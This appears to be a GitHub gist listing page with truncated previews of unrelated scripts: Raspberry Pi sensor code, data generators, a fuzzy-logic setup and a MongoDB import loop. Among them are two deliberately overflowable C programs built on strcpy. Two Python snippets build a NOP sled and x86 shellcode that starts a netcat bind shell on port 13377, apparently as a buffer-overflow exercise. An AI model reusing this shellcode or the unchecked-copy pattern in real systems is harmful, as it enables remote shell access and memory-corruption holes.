This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import RPi.GPIO as GPIO | |
import time | |
GPIO.setmode(GPIO.BCM) | |
buzzer_pin = 24 | |
GPIO.setup(buzzer_pin, GPIO.OUT) | |
def buzz(): | |
GPIO.output(buzzer_pin, True) | |
time.sleep(0.0001) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import uniform, randint | |
import time | |
import json | |
__author__ = 'mvidalgarcia' | |
current_milli_time = lambda: int(round(time.time() * 1000)) | |
cat_description = [ | |
{'category_id': 2, 'description': "OMG I lost my pocket. Somebody robbed me"}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import time | |
os.system('modprobe w1-gpio') | |
os.system('modprobe w1_therm') | |
temp_sensor = '/sys/bus/w1/devices/28-0215635d39ff/w1_slave' | |
def temp_raw(): | |
f = open(temp_sensor, 'r') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Line: 4, column: 1, token: 261, semantic value: int | |
Line: 4, column: 5, token: 274, semantic value: i | |
Line: 4, column: 6, token: 44, semantic value: , | |
Line: 4, column: 7, token: 274, semantic value: j | |
Line: 4, column: 8, token: 59, semantic value: ; | |
Line: 6, column: 1, token: 261, semantic value: int | |
Line: 6, column: 5, token: 274, semantic value: f | |
Line: 6, column: 6, token: 40, semantic value: ( | |
Line: 6, column: 7, token: 261, semantic value: int | |
Line: 6, column: 11, token: 274, semantic value: a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
import skfuzzy as fuzz | |
CURRENT_TEMP = 15 | |
CURRENT_HUM = 50 | |
x_temp = np.arange(-20, 41, 1) | |
x_hum = np.arange(0, 101, 1) | |
x_sys = np.arange(12, 36, 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
void func(char *str) | |
{ | |
char buffer[100]; /* adjust size of buffer to suit */ | |
strcpy (buffer,str); | |
} | |
void main (int argc, char *argv[]) | |
{ | |
func(argv[1]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nopsled = '\x90' * 32 | |
# 64 bytes shellcode | |
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' + | |
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' + | |
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' + | |
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' + | |
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' + | |
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' + | |
'\xb0\x0b\xcd\x80') | |
padding = 'A' * (112 - 32 - 64) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
void func(char *str) | |
{ | |
char buffer[132]; /* adjust size of buffer to suit */ | |
strcpy (buffer,str); | |
} | |
void main (int argc, char *argv[]) | |
{ | |
func(argv[1]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nopsled = '\x90' * 64 | |
# 64 bytes shellcode | |
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' + | |
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' + | |
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' + | |
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' + | |
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' + | |
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' + | |
'\xb0\x0b\xcd\x80') | |
padding = 'A' * (144 - 64 - 64) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First place in the artists directory | |
cd collection-master/artists | |
find * -type f | while read col; do | |
mongoimport -d tate -c artists --file $col; | |
done |
OlderNewer